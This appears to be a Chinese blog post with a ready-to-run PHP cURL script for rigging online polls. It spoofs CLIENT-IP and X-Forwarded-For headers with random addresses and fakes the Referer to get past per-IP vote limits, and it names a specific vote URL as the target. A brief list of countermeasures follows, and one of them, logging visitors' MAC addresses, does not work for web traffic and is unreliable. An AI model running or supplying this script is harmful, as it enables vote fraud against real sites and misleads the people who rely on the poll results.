PHP

PHP恶意刷新在线投票和防御方法


这是一段PHP恶意刷新投票,让你高居榜首!首先介绍如何使用curl恶意刷新投票。 废话不多说了,直接上代码。    

<?php
header('Content-type: text/html; charset=utf-8');
//随机生成IP
$ip1 = rand(101, 255).'.';
$ip2 = rand(1, 255).'.';
$ip3 = rand(1, 255).'.';
$ip4 = rand(1, 255);
$ip = $ip1 . $ip2 . $ip3 . $ip4;
$clientIp = 'CLIENT-IP:'.$ip;
$xforwarded = 'X-FORWARDED-FOR:'.$ip;
//设置目标和来源
$url = 'http://www.dunhuangwomen.org.cn/vote/Vote.asp?id=67';
$referer = 'http://www.dunhuangwomen.org.cn/vote/list.asp?id=2';
//Curl
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url); //目标
curl_setopt($ch, CURLOPT_HTTPHEADER, array($xforwarded, $clientIp));  //构造IP
curl_setopt($ch, CURLOPT_REFERER, $referer); //来源
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);

$ret = curl_exec($ch);
curl_close($ch);
echo $ret;
?>


解析说明:

1、仿造IP,网站有限制一个IP在一天只可以投一次

2、填写来源,网站会判断请求的来源是否合法路径其他就是Curl的常规了选项了。


如何防治在线刷票呢?(本人才疏学浅,仅作跑砖引玉)

1、限制IP本文已经破解。

2、限制来源本文已经破解。

3、验证码。作为最反人类的发明之一,可以使用这个拥有高大上的名字的全自动区分计算机和人类的图灵测试。可用Opencv。

4、记录MAC地址。理论上每块网卡都有一个唯一的MAC地址,如果更改可能引起冲突而无法上网。目前也可以用软件修改,但是一定程度上比限制IP有效。

5、注册会员,虽说仍然可以突破验证码,Curl填写参数然后POST过去,但是门槛毕竟高了一丁点,还是忽略吧。

6、短信验证码,手机投票时输入手机号和短信验证码,成本高。用户发送某某指令到某某,用户自掏腰包,用户体验差。


总结:目前来说,防止刷票只有图片验证码、Mac地址、手机并且验证手机的有效性是最好的防治措施。



0.077025s